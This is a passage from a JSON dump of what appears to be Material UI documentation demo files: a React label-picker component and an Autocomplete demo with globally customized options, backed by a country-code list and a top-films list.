boxShadow: '0px 0px 0px 3px rgba(3, 102, 214, 0.3)',\n      borderColor: '#0366d6',\n      ...theme.applyStyles('dark', {\n        boxShadow: '0px 0px 0px 3px rgb(12, 45, 107)',\n        borderColor: '#388bfd',\n      }),\n    },\n  },\n}));\n\nconst Button = styled(ButtonBase)(({ theme }) => ({\n  fontSize: 13,\n  width: '100%',\n  textAlign: 'left',\n  paddingBottom: 8,\n  fontWeight: 600,\n  color: '#586069',\n  ...theme.applyStyles('dark', {\n    color: '#8b949e',\n  }),\n  '&:hover,&:focus': {\n    color: '#0366d6',\n    ...theme.applyStyles('dark', {\n      color: '#58a6ff',\n    }),\n  },\n  '& span': {\n    width: '100%',\n  },\n  '& svg': {\n    width: 16,\n    height: 16,\n  },\n}));\n\nexport default function GitHubLabel() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const [value, setValue] = React.useState<LabelType[]>([labels[1], labels[11]]);\n  const [pendingValue, setPendingValue] = React.useState<LabelType[]>([]);\n  const theme = useTheme();\n\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setPendingValue(value);\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handleClose = () => {\n    setValue(pendingValue);\n    if (anchorEl) {\n      anchorEl.focus();\n    }\n    setAnchorEl(null);\n  };\n\n  const open = Boolean(anchorEl);\n  const id = open ? 'github-label' : undefined;\n\n  return (\n    <React.Fragment>\n      <Box sx={{ width: 221, fontSize: 13 }}>\n        <Button disableRipple aria-describedby={id} onClick={handleClick}>\n          <span>Labels</span>\n          <SettingsIcon />\n        </Button>\n        {value.map((label) => (\n          <Box\n            key={label.name}\n            sx={{\n              mt: '3px',\n              height: 20,\n              padding: '.15em 4px',\n              fontWeight: 600,\n              lineHeight: '15px',\n              borderRadius: '2px',\n            }}\n            style={{\n              backgroundColor: label.color,\n              color: theme.palette.getContrastText(label.color),\n            }}\n          >\n            {label.name}\n          </Box>\n        ))}\n      </Box>\n      <StyledPopper id={id} open={open} anchorEl={anchorEl} placement=\"bottom-start\">\n        <ClickAwayListener onClickAway={handleClose}>\n          <div>\n            <Box\n              sx={(t) => ({\n                borderBottom: '1px solid #30363d',\n                padding: '8px 10px',\n                fontWeight: 600,\n                ...t.applyStyles('light', {\n                  borderBottom: '1px solid #eaecef',\n                }),\n              })}\n            >\n              Apply labels to this pull request\n            </Box>\n            <Autocomplete\n              open\n              multiple\n              onClose={(\n                event: React.ChangeEvent<{}>,\n                reason: AutocompleteCloseReason,\n              ) => {\n                if (reason === 'escape') {\n                  handleClose();\n                }\n              }}\n              value={pendingValue}\n              onChange={(event, newValue, reason) => {\n                if (\n                  event.type === 'keydown' &&\n                  ((event as React.KeyboardEvent).key === 'Backspace' ||\n                    (event as React.KeyboardEvent).key === 'Delete') &&\n                  reason === 'removeOption'\n                ) {\n                  return;\n                }\n                setPendingValue(newValue);\n              }}\n              disableCloseOnSelect\n              renderValue={() => null}\n              noOptionsText=\"No labels\"\n              renderOption={(props, option, { selected }) => {\n                const { key, ...optionProps } = props;\n                return (\n                  <li key={key} {...optionProps}>\n                    <Box\n                      component={DoneIcon}\n                      sx={{ width: 17, height: 17, mr: '5px', ml: '-2px' }}\n                      style={{\n                        visibility: selected ? 'visible' : 'hidden',\n                      }}\n                    />\n                    <Box\n                      component=\"span\"\n                      sx={{\n                        width: 14,\n                        height: 14,\n                        flexShrink: 0,\n                        borderRadius: '3px',\n                        mr: 1,\n                        mt: '2px',\n                      }}\n                      style={{ backgroundColor: option.color }}\n                    />\n                    <Box\n                      sx={(t) => ({\n                        flexGrow: 1,\n                        '& span': {\n                          color: '#8b949e',\n                          ...t.applyStyles('light', {\n                            color: '#586069',\n                          }),\n                        },\n                      })}\n                    >\n                      {option.name}\n                      <br />\n                      <span>{option.description}</span>\n                    </Box>\n                    <Box\n                      component={CloseIcon}\n                      sx={{ opacity: 0.6, width: 18, height: 18 }}\n                      style={{\n                        visibility: selected ? 'visible' : 'hidden',\n                      }}\n                    />\n                  </li>\n                );\n              }}\n              options={[...labels].sort((a, b) => {\n                // Display the selected labels first.\n                let ai = value.indexOf(a);\n                ai = ai === -1 ? value.length + labels.indexOf(a) : ai;\n                let bi = value.indexOf(b);\n                bi = bi === -1 ? value.length + labels.indexOf(b) : bi;\n                return ai - bi;\n              })}\n              getOptionLabel={(option) => option.name}\n              renderInput={(params) => (\n                <StyledInput\n                  ref={params.slotProps.input.ref}\n                  inputProps={params.slotProps.htmlInput}\n                  autoFocus\n                  placeholder=\"Filter labels\"\n                />\n              )}\n              slots={{\n                popper: PopperComponent,\n              }}\n            />\n          </div>\n        </ClickAwayListener>\n      </StyledPopper>\n    </React.Fragment>\n  );\n}\n\ninterface LabelType {\n  name: string;\n  color: string;\n  description?: string;\n}\n\n// From https://github.com/abdonrd/github-labels\nconst labels = [\n  {\n    name: 'good first issue',\n    color: '#7057ff',\n    description: 'Good for newcomers',\n  },\n  {\n    name: 'help wanted',\n    color: '#008672',\n    description: 'Extra attention is needed',\n  },\n  {\n    name: 'priority: critical',\n    color: '#b60205',\n    description: '',\n  },\n  {\n    name: 'priority: high',\n    color: '#d93f0b',\n    description: '',\n  },\n  {\n    name: 'priority: low',\n    color: '#0e8a16',\n    description: '',\n  },\n  {\n    name: 'priority: medium',\n    color: '#fbca04',\n    description: '',\n  },\n  {\n    name: \"status: can't reproduce\",\n    color: '#fec1c1',\n    description: '',\n  },\n  {\n    name: 'status: confirmed',\n    color: '#215cea',\n    description: '',\n  },\n  {\n    name: 'status: duplicate',\n    color: '#cfd3d7',\n    description: 'This issue or pull request already exists',\n  },\n  {\n    name: 'status: needs information',\n    color: '#fef2c0',\n    description: '',\n  },\n  {\n    name: 'status: wont do/fix',\n    color: '#eeeeee',\n    description: 'This will not be worked on',\n  },\n  {\n    name: 'type: bug',\n    color: '#d73a4a',\n    description: \"Something isn't working\",\n  },\n  {\n    name: 'type: discussion',\n    color: '#d4c5f9',\n    description: '',\n  },\n  {\n    name: 'type: documentation',\n    color: '#006b75',\n    description: '',\n  },\n  {\n    name: 'type: enhancement',\n    color: '#84b6eb',\n    description: '',\n  },\n  {\n    name: 'type: epic',\n    color: '#3e4b9e',\n    description: 'A theme of work that contain sub-tasks',\n  },\n  {\n    name: 'type: feature request',\n    color: '#fbca04',\n    description: 'New feature or request',\n  },\n  {\n    name: 'type: question',\n    color: '#d876e3',\n    description: 'Further information is requested',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/GloballyCustomizedOptions.js",
    "content": "import Autocomplete, { autocompleteClasses } from '@mui/material/Autocomplete';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\nimport { createTheme, useTheme, ThemeProvider } from '@mui/material/styles';\n\n// Theme.ts\nconst customTheme = (outerTheme) =>\n  createTheme({\n    cssVariables: {\n      colorSchemeSelector: 'class',\n    },\n    palette: {\n      mode: outerTheme.palette.mode,\n    },\n    components: {\n      MuiAutocomplete: {\n        defaultProps: {\n          renderOption: (props, option, state, ownerState) => {\n            const { key, ...optionProps } = props;\n            return (\n              <Box\n                key={key}\n                sx={{\n                  borderRadius: '8px',\n                  margin: '5px',\n                  [`&.${autocompleteClasses.option}`]: {\n                    padding: '8px',\n                  },\n                }}\n                component=\"li\"\n                {...optionProps}\n              >\n                {ownerState.getOptionLabel(option)}\n              </Box>\n            );\n          },\n        },\n      },\n    },\n  });\n\nexport default function GloballyCustomizedOptions() {\n  // useTheme is used to determine the dark or light mode of the docs to maintain the Autocomplete component default styles.\n  const outerTheme = useTheme();\n\n  return (\n    <ThemeProvider theme={customTheme(outerTheme)}>\n      <Stack spacing={5} sx={{ width: 300 }}>\n        <MovieSelect />\n        <CountrySelect />\n      </Stack>\n    </ThemeProvider>\n  );\n}\n\nfunction MovieSelect() {\n  return (\n    <Autocomplete\n      options={top100Films}\n      getOptionLabel={(option) => `${option.title} (${option.year})`}\n      id=\"movie-customized-option-demo\"\n      disableCloseOnSelect\n      renderInput={(params) => (\n        <TextField {...params} label=\"Choose a movie\" variant=\"standard\" />\n      )}\n    />\n  );\n}\n\nfunction CountrySelect() {\n  return (\n    <Autocomplete\n      options={countries}\n      disableCloseOnSelect\n      getOptionLabel={(option) =>\n        `${option.label} (${option.code}) +${option.phone}`\n      }\n      renderInput={(params) => <TextField {...params} label=\"Choose a country\" />}\n    />\n  );\n}\n\n// From https://bitbucket.org/atlassian/atlaskit-mk-2/raw/4ad0e56649c3e6c973e226b7efaeb28cb240ccb0/packages/core/select/src/data/countries.js\nconst countries = [\n  { code: 'AD', label: 'Andorra', phone: '376' },\n  {\n    code: 'AE',\n    label: 'United Arab Emirates',\n    phone: '971',\n  },\n  { code: 'AF', label: 'Afghanistan', phone: '93' },\n  {\n    code: 'AG',\n    label: 'Antigua and Barbuda',\n    phone: '1-268',\n  },\n  { code: 'AI', label: 'Anguilla', phone: '1-264' },\n  { code: 'AL', label: 'Albania', phone: '355' },\n  { code: 'AM', label: 'Armenia', phone: '374' },\n  { code: 'AO', label: 'Angola', phone: '244' },\n  { code: 'AQ', label: 'Antarctica', phone: '672' },\n  { code: 'AR', label: 'Argentina', phone: '54' },\n  { code: 'AS', label: 'American Samoa', phone: '1-684' },\n  { code: 'AT', label: 'Austria', phone: '43' },\n  {\n    code: 'AU',\n    label: 'Australia',\n    phone: '61',\n    suggested: true,\n  },\n  { code: 'AW', label: 'Aruba', phone: '297' },\n  { code: 'AX', label: 'Alland Islands', phone: '358' },\n  { code: 'AZ', label: 'Azerbaijan', phone: '994' },\n  {\n    code: 'BA',\n    label: 'Bosnia and Herzegovina',\n    phone: '387',\n  },\n  { code: 'BB', label: 'Barbados', phone: '1-246' },\n  { code: 'BD', label: 'Bangladesh', phone: '880' },\n  { code: 'BE', label: 'Belgium', phone: '32' },\n  { code: 'BF', label: 'Burkina Faso', phone: '226' },\n  { code: 'BG', label: 'Bulgaria', phone: '359' },\n  { code: 'BH', label: 'Bahrain', phone: '973' },\n  { code: 'BI', label: 'Burundi', phone: '257' },\n  { code: 'BJ', label: 'Benin', phone: '229' },\n  { code: 'BL', label: 'Saint Barthelemy', phone: '590' },\n  { code: 'BM', label: 'Bermuda', phone: '1-441' },\n  { code: 'BN', label: 'Brunei Darussalam', phone: '673' },\n  { code: 'BO', label: 'Bolivia', phone: '591' },\n  { code: 'BR', label: 'Brazil', phone: '55' },\n  { code: 'BS', label: 'Bahamas', phone: '1-242' },\n  { code: 'BT', label: 'Bhutan', phone: '975' },\n  { code: 'BV', label: 'Bouvet Island', phone: '47' },\n  { code: 'BW', label: 'Botswana', phone: '267' },\n  { code: 'BY', label: 'Belarus', phone: '375' },\n  { code: 'BZ', label: 'Belize', phone: '501' },\n  {\n    code: 'CA',\n    label: 'Canada',\n    phone: '1',\n    suggested: true,\n  },\n  {\n    code: 'CC',\n    label: 'Cocos (Keeling) Islands',\n    phone: '61',\n  },\n  {\n    code: 'CD',\n    label: 'Congo, Democratic Republic of the',\n    phone: '243',\n  },\n  {\n    code: 'CF',\n    label: 'Central African Republic',\n    phone: '236',\n  },\n  {\n    code: 'CG',\n    label: 'Congo, Republic of the',\n    phone: '242',\n  },\n  { code: 'CH', label: 'Switzerland', phone: '41' },\n  { code: 'CI', label: \"Cote d'Ivoire\", phone: '225' },\n  { code: 'CK', label: 'Cook Islands', phone: '682' },\n  { code: 'CL', label: 'Chile', phone: '56' },\n  { code: 'CM', label: 'Cameroon', phone: '237' },\n  { code: 'CN', label: 'China', phone: '86' },\n  { code: 'CO', label: 'Colombia', phone: '57' },\n  { code: 'CR', label: 'Costa Rica', phone: '506' },\n  { code: 'CU', label: 'Cuba', phone: '53' },\n  { code: 'CV', label: 'Cape Verde', phone: '238' },\n  { code: 'CW', label: 'Curacao', phone: '599' },\n  { code: 'CX', label: 'Christmas Island', phone: '61' },\n  { code: 'CY', label: 'Cyprus', phone: '357' },\n  { code: 'CZ', label: 'Czech Republic', phone: '420' },\n  {\n    code: 'DE',\n    label: 'Germany',\n    phone: '49',\n    suggested: true,\n  },\n  { code: 'DJ', label: 'Djibouti', phone: '253' },\n  { code: 'DK', label: 'Denmark', phone: '45' },\n  { code: 'DM', label: 'Dominica', phone: '1-767' },\n  {\n    code: 'DO',\n    label: 'Dominican Republic',\n    phone: '1-809',\n  },\n  { code: 'DZ', label: 'Algeria', phone: '213' },\n  { code: 'EC', label: 'Ecuador', phone: '593' },\n  { code: 'EE', label: 'Estonia', phone: '372' },\n  { code: 'EG', label: 'Egypt', phone: '20' },\n  { code: 'EH', label: 'Western Sahara', phone: '212' },\n  { code: 'ER', label: 'Eritrea', phone: '291' },\n  { code: 'ES', label: 'Spain', phone: '34' },\n  { code: 'ET', label: 'Ethiopia', phone: '251' },\n  { code: 'FI', label: 'Finland', phone: '358' },\n  { code: 'FJ', label: 'Fiji', phone: '679' },\n  {\n    code: 'FK',\n    label: 'Falkland Islands (Malvinas)',\n    phone: '500',\n  },\n  {\n    code: 'FM',\n    label: 'Micronesia, Federated States of',\n    phone: '691',\n  },\n  { code: 'FO', label: 'Faroe Islands', phone: '298' },\n  {\n    code: 'FR',\n    label: 'France',\n    phone: '33',\n    suggested: true,\n  },\n  { code: 'GA', label: 'Gabon', phone: '241' },\n  { code: 'GB', label: 'United Kingdom', phone: '44' },\n  { code: 'GD', label: 'Grenada', phone: '1-473' },\n  { code: 'GE', label: 'Georgia', phone: '995' },\n  { code: 'GF', label: 'French Guiana', phone: '594' },\n  { code: 'GG', label: 'Guernsey', phone: '44' },\n  { code: 'GH', label: 'Ghana', phone: '233' },\n  { code: 'GI', label: 'Gibraltar', phone: '350' },\n  { code: 'GL', label: 'Greenland', phone: '299' },\n  { code: 'GM', label: 'Gambia', phone: '220' },\n  { code: 'GN', label: 'Guinea', phone: '224' },\n  { code: 'GP', label: 'Guadeloupe', phone: '590' },\n  { code: 'GQ', label: 'Equatorial Guinea', phone: '240' },\n  { code: 'GR', label: 'Greece', phone: '30' },\n  {\n    code: 'GS',\n    label: 'South Georgia and the South Sandwich Islands',\n    phone: '500',\n  },\n  { code: 'GT', label: 'Guatemala', phone: '502' },\n  { code: 'GU', label: 'Guam', phone: '1-671' },\n  { code: 'GW', label: 'Guinea-Bissau', phone: '245' },\n  { code: 'GY', label: 'Guyana', phone: '592' },\n  { code: 'HK', label: 'Hong Kong', phone: '852' },\n  {\n    code: 'HM',\n    label: 'Heard Island and McDonald Islands',\n    phone: '672',\n  },\n  { code: 'HN', label: 'Honduras', phone: '504' },\n  { code: 'HR', label: 'Croatia', phone: '385' },\n  { code: 'HT', label: 'Haiti', phone: '509' },\n  { code: 'HU', label: 'Hungary', phone: '36' },\n  { code: 'ID', label: 'Indonesia', phone: '62' },\n  { code: 'IE', label: 'Ireland', phone: '353' },\n  { code: 'IL', label: 'Israel', phone: '972' },\n  { code: 'IM', label: 'Isle of Man', phone: '44' },\n  { code: 'IN', label: 'India', phone: '91' },\n  {\n    code: 'IO',\n    label: 'British Indian Ocean Territory',\n    phone: '246',\n  },\n  { code: 'IQ', label: 'Iraq', phone: '964' },\n  {\n    code: 'IR',\n    label: 'Iran, Islamic Republic of',\n    phone: '98',\n  },\n  { code: 'IS', label: 'Iceland', phone: '354' },\n  { code: 'IT', label: 'Italy', phone: '39' },\n  { code: 'JE', label: 'Jersey', phone: '44' },\n  { code: 'JM', label: 'Jamaica', phone: '1-876' },\n  { code: 'JO', label: 'Jordan', phone: '962' },\n  {\n    code: 'JP',\n    label: 'Japan',\n    phone: '81',\n    suggested: true,\n  },\n  { code: 'KE', label: 'Kenya', phone: '254' },\n  { code: 'KG', label: 'Kyrgyzstan', phone: '996' },\n  { code: 'KH', label: 'Cambodia', phone: '855' },\n  { code: 'KI', label: 'Kiribati', phone: '686' },\n  { code: 'KM', label: 'Comoros', phone: '269' },\n  {\n    code: 'KN',\n    label: 'Saint Kitts and Nevis',\n    phone: '1-869',\n  },\n  {\n    code: 'KP',\n    label: \"Korea, Democratic People's Republic of\",\n    phone: '850',\n  },\n  { code: 'KR', label: 'Korea, Republic of', phone: '82' },\n  { code: 'KW', label: 'Kuwait', phone: '965' },\n  { code: 'KY', label: 'Cayman Islands', phone: '1-345' },\n  { code: 'KZ', label: 'Kazakhstan', phone: '7' },\n  {\n    code: 'LA',\n    label: \"Lao People's Democratic Republic\",\n    phone: '856',\n  },\n  { code: 'LB', label: 'Lebanon', phone: '961' },\n  { code: 'LC', label: 'Saint Lucia', phone: '1-758' },\n  { code: 'LI', label: 'Liechtenstein', phone: '423' },\n  { code: 'LK', label: 'Sri Lanka', phone: '94' },\n  { code: 'LR', label: 'Liberia', phone: '231' },\n  { code: 'LS', label: 'Lesotho', phone: '266' },\n  { code: 'LT', label: 'Lithuania', phone: '370' },\n  { code: 'LU', label: 'Luxembourg', phone: '352' },\n  { code: 'LV', label: 'Latvia', phone: '371' },\n  { code: 'LY', label: 'Libya', phone: '218' },\n  { code: 'MA', label: 'Morocco', phone: '212' },\n  { code: 'MC', label: 'Monaco', phone: '377' },\n  {\n    code: 'MD',\n    label: 'Moldova, Republic of',\n    phone: '373',\n  },\n  { code: 'ME', label: 'Montenegro', phone: '382' },\n  {\n    code: 'MF',\n    label: 'Saint Martin (French part)',\n    phone: '590',\n  },\n  { code: 'MG', label: 'Madagascar', phone: '261' },\n  { code: 'MH', label: 'Marshall Islands', phone: '692' },\n  {\n    code: 'MK',\n    label: 'Macedonia, the Former Yugoslav Republic of',\n    phone: '389',\n  },\n  { code: 'ML', label: 'Mali', phone: '223' },\n  { code: 'MM', label: 'Myanmar', phone: '95' },\n  { code: 'MN', label: 'Mongolia', phone: '976' },\n  { code: 'MO', label: 'Macao', phone: '853' },\n  {\n    code: 'MP',\n    label: 'Northern Mariana Islands',\n    phone: '1-670',\n  },\n  { code: 'MQ', label: 'Martinique', phone: '596' },\n  { code: 'MR', label: 'Mauritania', phone: '222' },\n  { code: 'MS', label: 'Montserrat', phone: '1-664' },\n  { code: 'MT', label: 'Malta', phone: '356' },\n  { code: 'MU', label: 'Mauritius', phone: '230' },\n  { code: 'MV', label: 'Maldives', phone: '960' },\n  { code: 'MW', label: 'Malawi', phone: '265' },\n  { code: 'MX', label: 'Mexico', phone: '52' },\n  { code: 'MY', label: 'Malaysia', phone: '60' },\n  { code: 'MZ', label: 'Mozambique', phone: '258' },\n  { code: 'NA', label: 'Namibia', phone: '264' },\n  { code: 'NC', label: 'New Caledonia', phone: '687' },\n  { code: 'NE', label: 'Niger', phone: '227' },\n  { code: 'NF', label: 'Norfolk Island', phone: '672' },\n  { code: 'NG', label: 'Nigeria', phone: '234' },\n  { code: 'NI', label: 'Nicaragua', phone: '505' },\n  { code: 'NL', label: 'Netherlands', phone: '31' },\n  { code: 'NO', label: 'Norway', phone: '47' },\n  { code: 'NP', label: 'Nepal', phone: '977' },\n  { code: 'NR', label: 'Nauru', phone: '674' },\n  { code: 'NU', label: 'Niue', phone: '683' },\n  { code: 'NZ', label: 'New Zealand', phone: '64' },\n  { code: 'OM', label: 'Oman', phone: '968' },\n  { code: 'PA', label: 'Panama', phone: '507' },\n  { code: 'PE', label: 'Peru', phone: '51' },\n  { code: 'PF', label: 'French Polynesia', phone: '689' },\n  { code: 'PG', label: 'Papua New Guinea', phone: '675' },\n  { code: 'PH', label: 'Philippines', phone: '63' },\n  { code: 'PK', label: 'Pakistan', phone: '92' },\n  { code: 'PL', label: 'Poland', phone: '48' },\n  {\n    code: 'PM',\n    label: 'Saint Pierre and Miquelon',\n    phone: '508',\n  },\n  { code: 'PN', label: 'Pitcairn', phone: '870' },\n  { code: 'PR', label: 'Puerto Rico', phone: '1' },\n  {\n    code: 'PS',\n    label: 'Palestine, State of',\n    phone: '970',\n  },\n  { code: 'PT', label: 'Portugal', phone: '351' },\n  { code: 'PW', label: 'Palau', phone: '680' },\n  { code: 'PY', label: 'Paraguay', phone: '595' },\n  { code: 'QA', label: 'Qatar', phone: '974' },\n  { code: 'RE', label: 'Reunion', phone: '262' },\n  { code: 'RO', label: 'Romania', phone: '40' },\n  { code: 'RS', label: 'Serbia', phone: '381' },\n  { code: 'RU', label: 'Russian Federation', phone: '7' },\n  { code: 'RW', label: 'Rwanda', phone: '250' },\n  { code: 'SA', label: 'Saudi Arabia', phone: '966' },\n  { code: 'SB', label: 'Solomon Islands', phone: '677' },\n  { code: 'SC', label: 'Seychelles', phone: '248' },\n  { code: 'SD', label: 'Sudan', phone: '249' },\n  { code: 'SE', label: 'Sweden', phone: '46' },\n  { code: 'SG', label: 'Singapore', phone: '65' },\n  { code: 'SH', label: 'Saint Helena', phone: '290' },\n  { code: 'SI', label: 'Slovenia', phone: '386' },\n  {\n    code: 'SJ',\n    label: 'Svalbard and Jan Mayen',\n    phone: '47',\n  },\n  { code: 'SK', label: 'Slovakia', phone: '421' },\n  { code: 'SL', label: 'Sierra Leone', phone: '232' },\n  { code: 'SM', label: 'San Marino', phone: '378' },\n  { code: 'SN', label: 'Senegal', phone: '221' },\n  { code: 'SO', label: 'Somalia', phone: '252' },\n  { code: 'SR', label: 'Suriname', phone: '597' },\n  { code: 'SS', label: 'South Sudan', phone: '211' },\n  {\n    code: 'ST',\n    label: 'Sao Tome and Principe',\n    phone: '239',\n  },\n  { code: 'SV', label: 'El Salvador', phone: '503' },\n  {\n    code: 'SX',\n    label: 'Sint Maarten (Dutch part)',\n    phone: '1-721',\n  },\n  {\n    code: 'SY',\n    label: 'Syrian Arab Republic',\n    phone: '963',\n  },\n  { code: 'SZ', label: 'Swaziland', phone: '268' },\n  {\n    code: 'TC',\n    label: 'Turks and Caicos Islands',\n    phone: '1-649',\n  },\n  { code: 'TD', label: 'Chad', phone: '235' },\n  {\n    code: 'TF',\n    label: 'French Southern Territories',\n    phone: '262',\n  },\n  { code: 'TG', label: 'Togo', phone: '228' },\n  { code: 'TH', label: 'Thailand', phone: '66' },\n  { code: 'TJ', label: 'Tajikistan', phone: '992' },\n  { code: 'TK', label: 'Tokelau', phone: '690' },\n  { code: 'TL', label: 'Timor-Leste', phone: '670' },\n  { code: 'TM', label: 'Turkmenistan', phone: '993' },\n  { code: 'TN', label: 'Tunisia', phone: '216' },\n  { code: 'TO', label: 'Tonga', phone: '676' },\n  { code: 'TR', label: 'Turkey', phone: '90' },\n  {\n    code: 'TT',\n    label: 'Trinidad and Tobago',\n    phone: '1-868',\n  },\n  { code: 'TV', label: 'Tuvalu', phone: '688' },\n  {\n    code: 'TW',\n    label: 'Taiwan',\n    phone: '886',\n  },\n  {\n    code: 'TZ',\n    label: 'United Republic of Tanzania',\n    phone: '255',\n  },\n  { code: 'UA', label: 'Ukraine', phone: '380' },\n  { code: 'UG', label: 'Uganda', phone: '256' },\n  {\n    code: 'US',\n    label: 'United States',\n    phone: '1',\n    suggested: true,\n  },\n  { code: 'UY', label: 'Uruguay', phone: '598' },\n  { code: 'UZ', label: 'Uzbekistan', phone: '998' },\n  {\n    code: 'VA',\n    label: 'Holy See (Vatican City State)',\n    phone: '379',\n  },\n  {\n    code: 'VC',\n    label: 'Saint Vincent and the Grenadines',\n    phone: '1-784',\n  },\n  { code: 'VE', label: 'Venezuela', phone: '58' },\n  {\n    code: 'VG',\n    label: 'British Virgin Islands',\n    phone: '1-284',\n  },\n  {\n    code: 'VI',\n    label: 'US Virgin Islands',\n    phone: '1-340',\n  },\n  { code: 'VN', label: 'Vietnam', phone: '84' },\n  { code: 'VU', label: 'Vanuatu', phone: '678' },\n  { code: 'WF', label: 'Wallis and Futuna', phone: '681' },\n  { code: 'WS', label: 'Samoa', phone: '685' },\n  { code: 'XK', label: 'Kosovo', phone: '383' },\n  { code: 'YE', label: 'Yemen', phone: '967' },\n  { code: 'YT', label: 'Mayotte', phone: '262' },\n  { code: 'ZA', label: 'South Africa', phone: '27' },\n  { code: 'ZM', label: 'Zambia', phone: '260' },\n  { code: 'ZW', label: 'Zimbabwe', phone: '263' },\n];\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/GloballyCustomizedOptions.tsx",
